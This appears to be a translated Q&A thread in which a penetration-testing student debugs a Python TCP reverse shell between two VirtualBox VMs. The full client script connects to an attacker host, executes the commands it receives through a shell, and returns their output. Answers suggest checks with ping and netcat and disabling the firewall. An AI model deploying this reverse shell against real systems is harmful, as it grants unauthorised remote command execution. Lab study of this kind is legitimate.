【问题标题】:Error when running TCP Reverse shell运行 TCP 反向 shell 时出错
【发布时间】:2018-02-18 00:00:01
【问题描述】:

我对 socket 很陌生,目前正在参加一个针对攻击性渗透测试的在线课程。其中一课是 TCP Reverse shell。我在不同的虚拟机上运行两个脚本(使用 VirtualBox),一个是攻击者,另一个是目标。攻击者脚本运行良好,但客户端输出错误:

Traceback (most recent call last):
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect 
      s.connect(('10.0.2.15', 8080))
   File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it

还有我的代码:

import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.2.15', 8080))

    while True:
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break
        else:

            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stdout.read())

def main():
    connect()
main()

我不知道您是否需要查看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助将不胜感激,~Spiralio。

【问题讨论】:

  • 我相信目标是服务器,对吧?
  • 在我做这些事情的时候,需要深入了解 TCP 套接字才能进行渗透测试。事情瞬息万变。
  • 确保目标上没有运行阻止连接的防火墙。
  • 攻击者脚本运行正常,但是客户端输出错误:攻击者脚本和客户端不一样吗?
  • Barmar:不,实际上它们是不同的。攻击者脚本允许我运行 shell 命令。

标签: python python-2.7 subprocess python-sockets reverse-shell


【解决方案1】:

确保您可以在虚拟机之间 ping 通。如果是这样,请尝试一些简单的东西,例如 netcat 侦听器并尝试连接到它。

您可以在攻击者上运行nc -lp 8080,然后在受害者上运行nc 10.0.2.15 8080(假设您使用的是 Linux)。

这两个步骤将帮助您隔离问题。如果 ping 不起作用,很可能是您的网络配置不正确。失败的 netcat 更多地指向某种防火墙。快速浏览一下并且对您的设置一无所知,我假设您的 Python 脚本很好,并且您没有正确配置 2 个 VM 以进行通信。

确保 IP 网络相同,它们位于同一个 VM 网络上(在 Virtualbox 设置中设置),并且如上所述没有运行防火墙。

【讨论】:

  • 攻击者在linux上,而目标在windows上。有没有其他选择?感谢您的回复:)
  • 是的!平仍然有效。你可以用 Powershell 做一些魔法来代替 nc?.. 或者,既然你已经学习了渗透测试等,只需在 Windows 上安装 eternallybored.org/misc/netcat 并使用它。
  • 谢谢,现在试试!
  • 好的,所以我在两边都使用了“ping”命令,它们都以 0% 的损失返回。除非我遗漏了什么,否则它似乎工作正常......还有其他我应该运行的测试吗?
  • 是的,我同意它是。除了 nc,请确保关闭所有域的 Windows 防火墙
猜你喜欢
  • 2019-01-06
  • 2014-09-19
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-11-02
  • 1970-01-01
  • 2017-12-20
  • 1970-01-01
相关资源
最近更新 更多